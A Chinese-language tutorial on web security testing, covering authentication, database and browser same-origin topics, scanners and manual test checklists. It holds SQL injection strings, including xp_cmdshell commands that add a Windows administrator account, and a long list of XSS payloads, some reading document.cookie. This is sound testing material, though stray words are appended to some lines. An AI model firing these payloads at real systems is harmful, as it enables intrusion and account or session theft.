軟件安全性測試主要包括程序、數據庫安全性測試。根據系統安全指標不一樣測試策略也不一樣。javascript
用戶身份認證安全的測試要考慮問題:
1.明確區分系統中不一樣用戶權限
2.系統中會不會出現用戶衝突
3.系統會不會因用戶的權限的改變形成混亂
4.用戶登錄密碼是不是可見、可複製
5.系統的密碼策略,一般涉及到隱私,錢財或機密性的系統必須設置高可用的密碼策略。
5.是否能夠經過絕對途徑登錄系統(拷貝用戶登錄後的連接直接進入系統)
6.用戶推出系統後是否刪除了全部鑑權標記,是否可使用後退鍵而不經過輸入口令進入系統html
系統網絡安全的測試要考慮問題:
1.測試採起的防禦措施是否正確裝配好,有關係統的補丁是否打上
2.模擬非受權攻擊,看防禦系統是否堅固
3.採用成熟的網絡漏洞檢查工具檢查系統相關漏洞(即用最專業的黑客攻擊工具攻擊試一下,如今最經常使用的是 NBSI系列和 IPhacker IP )
4.採用各類木馬檢查工具檢查系統木馬狀況
5.採用各類防外掛工具檢查系統各組程序的客外掛漏洞java
數據庫安全考慮問題:
1.系統數據是否機密(好比對銀行系統,這一點就特別重要,通常的網站就沒有過高要求)
2.系統數據的完整性(我剛剛結束的企業實名覈查服務系統中就曾存在數據的不完整,對於這個系統的功能實現有了障礙)
3.系統數據可管理性
4.系統數據的獨立性
5.系統數據可備份和恢復能力(數據備份是否完整,能否恢復,恢復是否能夠完整)web
瀏覽器安全
同源策略:不一樣源的「document」或腳本,不能讀取或者設置當前的「document」
同源定義:host(域名,或者IP),port(端口號),protocol(協議)三者一致才屬於同源。
要注意的是,同源策略只是一種策略,而非實現。這個策略被用於一些特定的點來保護web的安全。
<script>,<img>,<iframe>,<link>等標籤均可以跨域加載資源,不受同源策略的限制。
XMLHttpRequest,DOM,cookie受到同源策略的限制。
網站能夠經過提供crossdomain.xml來容許某些源跨域訪問本身的資源。
google chrome使用了多進程來隔離代碼運行的環境,從而起到提升web安全的做用
Q & A
Q:cookie爲何須要同源策略?
A:cookie有同源策略是必須的,這樣能夠保證A網站的用戶(識別)信息不會被B網站獲取到
Q:XMLHttpRequest爲何須要同源策略?
A:兩個例子:
(1)加入沒有同源策略,某個網站的某張頁面被你寫入了一些js ,這些js有些ajax操做,若是某個用戶訪問了這張頁面,你的js就能夠得到用戶的某些信息(cookie,本地文件等)而後經過ajax發送回你的服務器。 這就是安全問題,信息泄漏。
其實這個就是XSS攻擊,爲了防止XSS攻擊後,用ajax請求返回用戶敏感信息。可是其實XSS的攻擊僅靠XMLHttpRequest的同源策略根本沒用,後面的章節會看到。這也許是當時XSS還沒那麼豐富的時候,還算比較有效的安全策略。
(2)先假設瀏覽器沒有限制跨域,A站的xhr請求B站的一個url,那麼瀏覽器是要帶上誰家的cookie一塊兒請求呢?(每次http請求都要帶上該站下的全部cookie)顯然是B家的。假設B家的網站當前用戶已經登陸,那麼cookie裏天然記錄下了sessionId相關的東西以標識當前用戶的身份,那麼本次xhr請求很easy的經過了身份認證,而後後果就是不堪設想的。
這個就很正確,若是A能夠用xhr跨站訪問B,帶着B的cookie天然能夠經過B網站的驗證,從而獲取到敏感數據。因此這點是關鍵。ajax
web安全測試方法:
工具掃描
目前web安全掃描器針對OSinjection, XSS、SQL injection 、OPEN redirect 、PHP File Include漏洞的檢測技術已經比較成熟。
商業軟件web安全掃描器:有IBM Rational Appscan、WebInspect、Acunetix WVS 、burp suite
免費的掃描器:W3af 、Skipfish 等
根據業務資金,能夠考慮購買商業掃描軟件,也可使用免費的,各有各的好處。
首頁能夠對網站進行大規模的掃描操做,工具掃描確認沒有漏洞或者漏洞已經修復後,再進行如下手工檢測。chrome
手工檢測
對於CSRF、越權訪問、文件上傳、修改密碼 等漏洞,難以實現自動化檢測的效果,這是由於這些漏洞涉及系統邏輯或業務邏輯,有時候還須要人機交互參與頁面流程,
所以 這類漏洞的檢測更多的須要依靠手動測試完成。shell
手工檢測網站URL、後臺登錄是否具備數據庫
SQL注入express
Admin--
‘or --
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell 「net user name password /add」—
;exec master..xp_cmdshell 「net localgroup name administrators /add」—
and 0<>(select count(*) from admin)跨域
XSS:
對於get請求的URL通常漏洞掃描軟件均可掃描到是否存在XSS漏洞。(可是軟件沒有完美的,也有誤報,或者有遺漏的狀況)
對於POST的請求的(例如留言板,評論,等等),就是要在輸入框輸入的狀況,則要進行如下測試
★~!@#$%^&*()_+<>,./?;'"[]{}\-
★%3Cinput /%3E
★%3Cscript%3Ealert('XSS')%3C/script%3E
★<input type="text"/>
★<input/>
★<input/
★<script>alert('xss')</script>
★<script>alert('xss');</script>
★</script><script>alert(‘xss’)</script>
★javascript:alert(/xss/)
★javascript:alert(/xss/)
★<img src="#" onerror=alert(/xss/)>
★<img src="#" style="Xss:expression(alert(/xss/));">
★<img src="#"/**/onerror=alert(/xss/) width=100>
★=’><script>alert(document.cookie)</script>
★1.jpg" onmouseover="alert('xss')
★"></a><script>alert(‘xss’);</script>
★http://xxx';alert('xss');var/ a='a
★’」>xss&<
★"onmouseover=alert('hello');"
★&{alert('hello');}
★>"'><script>alert(‘XSS')</script>
★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;
%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
★%22%2Balert(%27XSS%27)%2B%22
★<table background="javascript:alert(([code])"></table>
★<object type=text/html data="javascript:alert(([code]);"></object>
★<body onload="javascript:alert(([code])"></body>
★a?<script>alert(’Vulnerable’)</script>
★<!--'">&:
var from = ‘$!rundata.Parameters.getString(’from’)';
var from = 」;hackerFunction(document.cookie);」;
上面這些一樣適用於GET請求
通過以上測試,若是發現輸入框代碼溢出,則說明可能存在XSS漏洞,說明要進行過濾.
關於越權操做的問題
例如A用戶的我的資料ID爲1 B用戶我的資料ID爲2,我經過登錄B用戶,把ID修改成1 就能夠查看到用戶A的我的資料,這就是越權。
測試方法:經過查看URL的get參數對那些相似明顯的順序數字 進行修改,看是否能越權訪問。
關於登錄安全的問題
除了SQL注入,還有找回密碼功能會出現安全問題
郵箱找回密碼測試方法:
先從郵箱參數修改開始,看填入用戶名和本身修改的郵箱帳號,看是否能收到郵箱,收到後是否能修改。
若是不能修改郵箱參數那麼,咱們就讓它郵箱找回,接着點擊郵箱內修改密碼的連接,看連接的郵箱參數是否能夠修改,用戶名是否能夠修改,加密的urlcode 是否能夠逆向解密。
若是是手機找回密碼功能:則測試手機收到的驗證碼是不是純數字、純字母的,若是是請修改成字母與數字的組合。
關於用開源程序的問題
關注網上你所用的開源程序的官網更新狀況和安全事件。
關於上傳:
1.上傳文件是否有格式限制,是否能夠上傳exe文件;
2.上傳文件是否有大小限制,上傳太大的文件是否致使異常錯誤,上傳0K的文件是否會致使異常錯誤,上傳並不存在的文件是否會致使異常錯誤;
3.經過修改擴展名的方式是否能夠繞過格式限制,是否能夠經過壓包方式繞過格式限制;
4.是否有上傳空間的限制,是否能夠超過空間所限制的大小,如將超過空間的大文件拆分上傳是否會出現異常錯誤。
5.上傳文件大小大於本地剩餘空間大小,是否會出現異常錯誤。
6.關於上傳是否成功的判斷。上傳過程當中,中斷。程序是否判斷上傳是否成功。
7.對於文件名中帶有中文字符,特殊字符等的文件上傳。
下載:
避免輸入:\..\web.
修改命名後綴。
輸入驗證
客戶端驗證 服務器端驗證(禁用腳本調試,禁用Cookies)
1.輸入很大的數(如4,294,967,269),輸入很小的數(負數)
2.輸入超長字符,如對輸入文字長度有限制,則嘗試超過限制,恰好到達限制字數時有何反應
3.輸入特殊字符,如:~!@#$%^&*()_+<>:」{}|
4.輸入中英文空格,輸入字符串中間含空格,輸入首尾空格
5.輸入特殊字符串NULL,null,0x0d 0x0a
6.輸入正常字符串
7.輸入與要求不一樣類型的字符,如: 要求輸入數字則檢查正值,負值,零值(正零,負零),小數,字母,空值; 要求輸入字母則檢查輸入數字
8.輸入html和JavaScript代碼
9.對於像回答數這樣需檢驗數字正確性的測試點,不只對比其與問題最終頁的回答數,還要對回答進行添加刪除等操做後查看變化
例如:
1.輸入<html」>」gfhd</html>
2.輸入<input type=」text」 name=」user」 onclick="alert(1)"/>,看是否出現文本框;
3.輸入<script type=」text/javascript」>alert(「提示」)</script>看是否出現提示。
4.輸入」><script type=」text/javascript」>alert(「提示」)</script>看是否出現提示。
5.輸入 」><script><」 看是否出現代碼溢出
頁面權限泄露
測試在不登錄的狀況下是否能夠訪問到後臺的頁面,這個只要把後臺的目錄的URL所有瀏覽一遍便可
關於任意文件下載
查看上傳的圖片文件是否能夠刪除,若是能夠刪除,查看刪除的URL裏面的參數是否能夠修改。
詳細的測試點:1.跨網站腳本攻擊經過腳本語言的缺陷模擬合法用戶,控制其帳戶,盜竊敏感數據2.注入攻擊經過構造查詢對數據庫、LDAP和其餘系統進行非法查詢3.惡意文件執行在服務器上執行Shell 命令Execute,獲取控制權4.僞造跨站點請求發起Blind 請求,模擬合法用戶,要求轉帳等請求5.不安全對象引用不安全對象的引入,訪問敏感文件和資源,WEB應用返回敏感文件內容6.被破壞的認證和Session管理驗證Session token 保護措施,防止盜竊session7.Session的失效時間限制Session的失效時間設置是否過長,會形成訪問風險8.不安全的木馬存儲過於簡單的加密技術致使黑客破解編密碼,隱祕信息被盜竊,驗證其數據加密9.不安全的通信敏感信息在不安全通道中以非加密方式傳送, 敏感信息被盜竊,驗證其通信的安全性10.URL訪問限制失效驗證是否經過惡意手段訪問非受權的資源連接,強行訪問一些登錄網頁,竊取敏感信息11.信息泄露和不正確錯誤處理測試惡意系統檢測,防止黑客用獲取WEB站點的具體信息的攻擊手段獲取詳細系統信息12.註冊與登陸測試驗證系統先註冊後登陸、驗證登陸用戶名和密碼匹配校驗,密碼長度及嘗試登陸次數,防止 非法用戶登陸13.超時限制驗證WEB應用系統須要有是否超時的限制,當用戶長時間不作任何操做的時候,須要從新登陸才能使用14.日誌文件驗證服務器上日誌是否正常工做,全部事務處理是否被記錄15.目錄文件驗證WEB服務器目錄訪問權限,或者每一個目錄訪問時有index.htm,防止 WEB 服務器處理不適當,將整個WEB目錄暴露16.身份驗證驗證調用者身份、數據庫身份、驗證是否明確服務帳戶要求、是否強制式試用帳戶管理措施17.受權驗證如何向最終用戶受權、如何在數據庫中受權應用程序,肯定訪問系統資源權限18.會話驗證如何交換會話標識符、是否限制會話生存期、如何確保會話存儲狀態安全19.配置管理驗證是否支持遠程管理、是否保證配置存儲安全、是否隔離管理員特權20.備份與恢復爲了防止系統意外崩潰形成的數據丟失,驗證備份與恢復功能正常實現、備份與恢復方式是否知足Web系統安全性要求21.數據庫關鍵數據是否進行加密存儲,是否在網絡中傳遞敏感數據22.在登陸或註冊功能中是否有驗證碼存在,防止惡意大批量註冊登陸的攻擊23.Cookie文件是否進行了加密存儲,防止盜用cookie內容24.密碼強度提醒建議對密碼的規則進行增強設置25.密碼內容禁止拷貝粘貼